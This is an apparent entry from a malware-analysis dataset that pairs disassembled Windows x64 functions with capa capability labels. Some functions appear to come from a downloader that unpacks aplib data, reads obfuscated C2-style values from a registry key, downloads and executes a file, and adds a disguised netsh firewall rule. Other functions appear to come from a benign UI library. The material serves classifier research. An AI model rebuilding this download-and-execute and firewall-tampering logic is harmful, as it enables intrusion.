joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1405ca0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1405ca237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405ca0e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ca0c7
add dl, dl
jne 0x1405ca0ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ca14e
xor eax, eax
add dl, dl
jne 0x1405ca0fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ca205
add dl, dl
jne 0x1405ca10e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ca11b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ca128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ca135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405ca142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405ca0d6
mov eax, 1
add dl, dl
jne 0x1405ca15e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ca16b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ca153
sub eax, ebx
mov ebx, 1
jne 0x1405ca1a4
mov ecx, 1
add dl, dl
jne 0x1405ca186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405ca193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ca17b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ca0d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405ca1c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405ca1cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ca1b5
cmp eax, 0x7d00
jae 0x1405ca1f3
cmp eax, 0x500
jb 0x1405ca1ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ca0d6
cmp eax, 0x7f
ja 0x1405ca1f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ca0d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405ca22a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405ca0d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001110
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push rdi
sub rsp, 0x40
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rbx
lea rdx, str.SOFTWARENetWorkProNT32
xor ebx, ebx
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov edi, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400012a4
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
lea rdx, str.IP_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x58], 4
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400012a4
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
lea rsi, [0x140004140]
lea rdx, str.GATEWAY1_Value
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x50], 0x104
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001222
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasb al, byte [rdi]
mov r8d, ebx
mov rdi, rbx
not rcx
dec rcx
movsxd r9, ecx
test ecx, ecx
jle 0x14000121d
nop dword [rax + rax]
mov eax, 0x55555556
inc rdi
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
add al, al
add dl, al
movzx eax, r8b
inc r8d
sub al, dl
add al, 2
add byte [rdi + rsi - 1], al
cmp rdi, r9
jl 0x1400011f0
mov edi, 1
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
lea rsi, [0x140004250]
mov qword [rsp + 0x28], rax
lea rdx, str.GATEWAY2_Value
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x50], 0x104
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000129f
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasb al, byte [rdi]
mov rdi, rbx
not rcx
dec rcx
movsxd r8, ecx
test ecx, ecx
jle 0x14000129a
nop word [rax + rax]
mov eax, ebx
inc rdi
inc ebx
cdq
and eax, 1
xor eax, edx
sub eax, edx
inc al
add byte [rdi + rsi - 1], al
cmp rdi, r8
jl 0x140001280
mov edi, 1
mov rsi, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400012b9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
add rsp, 0x40
pop rdi
ret
Function at 0x1400012d0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor ebp, ebp
mov rdi, rdx
mov rsi, rcx
mov ebx, ebp
nop
xor r9d, r9d
mov r8, rdi
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rbp
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x14000131f
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x64
jl 0x1400012f0
mov eax, ebp
jmp 0x140001365
mov rcx, rdi
call fcn.140001000
cmp eax, 0x1f40
jbe 0x140001358
mov ebx, 1
call fcn.140001cc0
lea rdx, str.open
xor r9d, r9d
mov r8, rdi
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x14000135a
mov ebx, ebp
mov rcx, rsi
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140001970
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x28
lea rcx, str.SeDebugPrivilege
mov edx, 1
call fcn.140001060
call fcn.140001380
call fcn.140001730
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400019a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x280
mov rax, qword [0x140004110]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r12, rcx
mov rsi, rdx
xor ebx, ebx
lea ecx, [rbx + 0xf]
xor edx, edx
mov dword [rsp + 0x30], 0x130
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x30]
mov rcx, rax
mov rbp, rax
call sub.KERNEL32.dll_Process32First
nop word [rax + rax]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x5c]
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x140001a3e
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x5c]
cmp cl, 0x41
jl 0x140001a36
cmp cl, 0x5f
jg 0x140001a36
add cl, 0x20
mov byte [rsp + rax + 0x5c], cl
inc rax
cmp rax, rdx
jl 0x140001a20
lea rax, [rsp + 0x5c]
mov rdi, r12
sub rdi, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x140001a62
inc rax
test ecx, ecx
jne 0x140001a50
test edx, edx
je 0x140001a7c
lea rdx, [rsp + 0x30]
mov rcx, rbp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001a00
jmp 0x140001afc
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140001af7
lea rcx, [rsp + 0x160]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x160]
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
lea rax, [rsp + 0x160]
lea rdx, [rsp + 0x160]
sub rsi, rax
nop
movzx eax, byte [rdx]
inc rdx
mov byte [rsi + rdx - 1], al
test al, al
jne 0x140001ae0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001f10
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x140001b30
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
lea rax, [rsp + 0x78]
lea rdx, str.SOFTWARENetWorkProNT32
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x68], 4
mov dword [rsp + 0x60], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor r9d, r9d
test eax, eax
jne 0x140001ba4
mov rdx, qword [str.LOCAL_Value]
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001be4
lea ebx, [rax + 1]
jmp 0x140001c19
lea rax, [rsp + 0x70]
lea rdx, str.SOFTWARENetWorkProNT32
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x78]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001c19
mov rdx, qword [str.LOCAL_Value]
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x60]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140001c29
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x50
pop rbx
ret

Function at 0x140001c40
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
call fcn.140001b30
test eax, eax
je 0x140001c54
xor eax, eax
add rsp, 0x38
ret
lea rcx, [0x140004360]
xor edx, edx
mov r8d, 0x7d0
call sub.MSVCR90.dll_memset
lea rdx, str._c_netsh_advfirewall_firewall_add_rule_name_BranchCache
lea rcx, [0x140004360]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r11d, r11d
lea r9, [0x140004360]
mov dword [rsp + 0x28], r11d
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
add rsp, 0x38
ret
Function at 0x140001cc0
Capabilities:
Create process on windows
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x280
mov rax, qword [0x140004110]
xor rax, rsp
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x161]
xor ebx, ebx
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x160], bl
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x50], bl
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x160]
lea rcx, str.asdsvc.exe
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x30], ebx
call fcn.1400019a0
test eax, eax
je 0x140001e48
call fcn.140001c40
lea r11, [rsp + 0x38]
lea rdx, str.SOFTWARENetWorkProNT32
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001e36
mov rdx, qword [str.LOCAL_Value]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001da6
cmp dword [rsp + 0x30], 2
je 0x140001e36
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r8, [rsp + 0x160]
lea rdx, str._c_netsh_advfirewall_firewall_set_rule_name_BranchCache
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x50]
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [str.LOCAL_Value]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x30], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 1
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140001e46
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001f10
add rsp, 0x280
pop rbx
ret
Function at 0x14000234b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140004110]
jne 0x140001f2a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001f26
repz ret
ror rcx, 0x10
jmp 0x1400022a4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140004c00]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140004cf8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002329
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140004c00]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000234b
mov rax, qword [rsp + 0x88]
mov qword [0x140004cf8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140004c98], rax
mov rax, qword [0x140004cf8]
mov qword [0x140004b70], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140004c80], rax
mov dword [0x140004b60], 0xc0000409
mov dword [0x140004b64], 1
mov rax, qword [0x140004110]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140004118]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140004bf8], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140003448]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140004bf8], 0
jne 0x1400023d2
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180002d90
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x180002ded
lea rbx, [0x180056110]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x180002dd4
cmp r10, 2
jb 0x180002dd4
cmp byte [r9], r8b
jne 0x180002dd4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180002db0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x180002e2f
lea rbx, [0x180056110]
cmp r8b, 0x23
jne 0x180002e13
cmp byte [r9], r8b
jne 0x180002e13
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180002e00
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x180002f70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x180002f8a
mov qword [r8], 0
lea rdx, [0x180055478]
call fcn.180002e40
mov rbx, rax
test rax, rax
jne 0x180002faa
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x180003081
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180003081
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180003081
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180003081
cmp rdi, 0xffffffffffffffff
je 0x180003081
mov rax, qword [0x180064998]
test rax, rax
je 0x18000301e
inc dword [rax + 0xfc]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x180003081
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x18000306e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x180064998]
test rax, rax
je 0x180003063
dec dword [rax + 0xfc]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x18000308a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x18000307c
mov qword [r14], rdi
mov rax, rsi
jmp 0x18000308c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x180006680
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0x128]
lea r11, [0x180056110]
mov rax, qword [rcx + 0x130]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x4040], ebx
jne 0x180006716
mov r8, r10
mov edx, 4
mov ecx, ebx
call fcn.180027400
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x180006720
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0x130]
lea r9, [0x180056110]
movss xmm2, dword [rcx + 0x148]
movss xmm3, dword [rcx + 0x14c]
movsxd rcx, dword [rcx + 0x128]
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
subss xmm1, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
movss dword [rsp], xmm0
movzx eax, byte [rsp]
xor rcx, rax
movss xmm0, dword [rdx + 8]
movzx eax, byte [rsp + 1]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
movss xmm1, dword [rdx + 0xc]
xor r8d, dword [r9 + rcx*4]
subss xmm1, xmm3
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret
Function at 0x180015220
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x180064010]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x180064998]
mov edi, ecx
cmp byte [rbx + 0x4bed], 0
jne 0x180015281
cmp byte [rbx + 0x4bee], 0
jne 0x180015281
movsx r9d, word [rbx + 0x5cfa]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.180002bf0
test dil, 1
je 0x1800153b0
jmp 0x180015311
movss xmm1, dword [rbx + 0x39c4]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5cfa]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x18005b488]
mulss xmm1, dword [0x18005b478]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xe10]
addss xmm1, dword [rbx + 0xe14]
mov qword [rbx + 0x48ec], rax
mov dword [rbx + 0x48d4], 1
movss dword [rbx + 0x48e4], xmm0
mov byte [rbx + 0x490c], 1
movss dword [rbx + 0x48e8], xmm1
movss xmm0, dword [rbx + 0x3a20]
mulss xmm0, dword [0x18005b3e0]
or dword [rbx + 0x48d0], 0x41
movss dword [rbx + 0x4930], xmm0
call fcn.180002bf0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x180015361
lea r11, [0x180056110]
cmp r9b, 0x23
jne 0x180015344
cmp byte [r8], r9b
jne 0x180015344
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x180015331
not ecx
call fcn.18000b030
test rax, rax
je 0x1800153b0
cmp byte [rax + 0xeb], 0
je 0x1800153b0
mov byte [rax + 0xf0], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xf2], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0x110], 1
mov edx, 0x10
inc word [rbx + 0x5cfa]
movsx r9d, word [rbx + 0x5cfa]
call fcn.180002bf0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x22c0347
call fcn.18000de50
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180051a50
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x18001aa50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5e30], 0
lea rbx, [rcx + 0x5e38]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x18001aaf7
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x18001aaaa
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.1800289b0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.180003700
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5e30]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5e40]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x180064990]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x18001aaff
mov rcx, rbx
call fcn.180003700
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x18001ae50
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x180064998]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x18001aeb3
mov qword [rsp], rbx
lea rbx, [0x180056110]
nop dword [rax]
cmp r9b, 0x23
jne 0x18001ae93
cmp byte [r8], r9b
jne 0x18001ae93
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x18001ae80
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5da0]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x18001aee7
mov r10, qword [r10 + 0x5da8]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
